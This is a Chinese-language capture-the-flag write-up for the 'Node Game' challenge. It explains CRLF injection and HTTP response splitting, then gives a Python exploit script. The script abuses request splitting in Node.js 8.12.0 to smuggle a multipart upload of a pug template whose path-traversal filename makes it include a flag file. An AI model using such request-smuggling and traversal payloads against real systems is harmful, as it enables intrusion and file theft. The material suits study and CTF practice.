Node Game(CRLF注入)
CRLF注入的概念
CRLF是由CR和LF俩个字符拼接起来的,CR代表回车\r,LF代表回车\n,全称为Carriage Return/Line Feed ,十六进制编码为0x0d和0x0a,URL编码为%0D和%0A,CRLF命令即为键盘上的Enter键,大部分程序和网络协议都使用这些命令作为分隔符。
在HTTP协议中,HTTP header是由一个CRLF字符序列分隔的,HTTP Header和Body之间是用俩个CRLF分隔的,浏览器通过这俩个CRLF来取出HTTP内容并显示出来。
所以如果用户的输入在HTTP返回包的Header处回显,便可以通过CRLF来提前结束响应头,在响应内容处注入攻击脚本。因此CRLF Injection又叫HTTP响应拆分/截断(HTTP Response Splitting)简称HRS。
我们可以在本地测试一下CRLF字符的作用,如我们输入aaaa%0d%0abbb%0d%0a%0d%0accc,能看到插入一个字符和两个字符的区别:换行和插入空行。
危害
根据插入的CRLF的个数不同,可设计任意的响应头,控制响应正文俩个主要的利用办法。
具体事例:
CRLF注入(响应截断)挖掘技巧及实战案例全汇总-腾讯云开发者社区-腾讯云
解题
这个题的考点选择来自通过拆分攻击实现的SSRF攻击 - 先知社区这篇文章,是nodejs的一个历史版本漏洞,这题选用了node.js 8.12.0,含有这个漏洞,构造代码
import urllib.parse
import requestspayload = ''' HTTP/1.1POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="abc.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt----------------------------919695033422425209299810--GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
r = requests.get('http://c50ad9c8-4fd3-4685-b5ca-1445035d3406.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)
这里利用…/template进行跨目录。经过处理后就变成了uploads/…/template/abc.pug
然后刚好就可以通过action参数请求执行
pub文件的内容是包含多个上级目录的flag.txt
还有命令执行的payload。需要bypass一下黑名单
这里最后的GET /flag只是为了闭合HTTP请求
访问action=abc即可得到flag。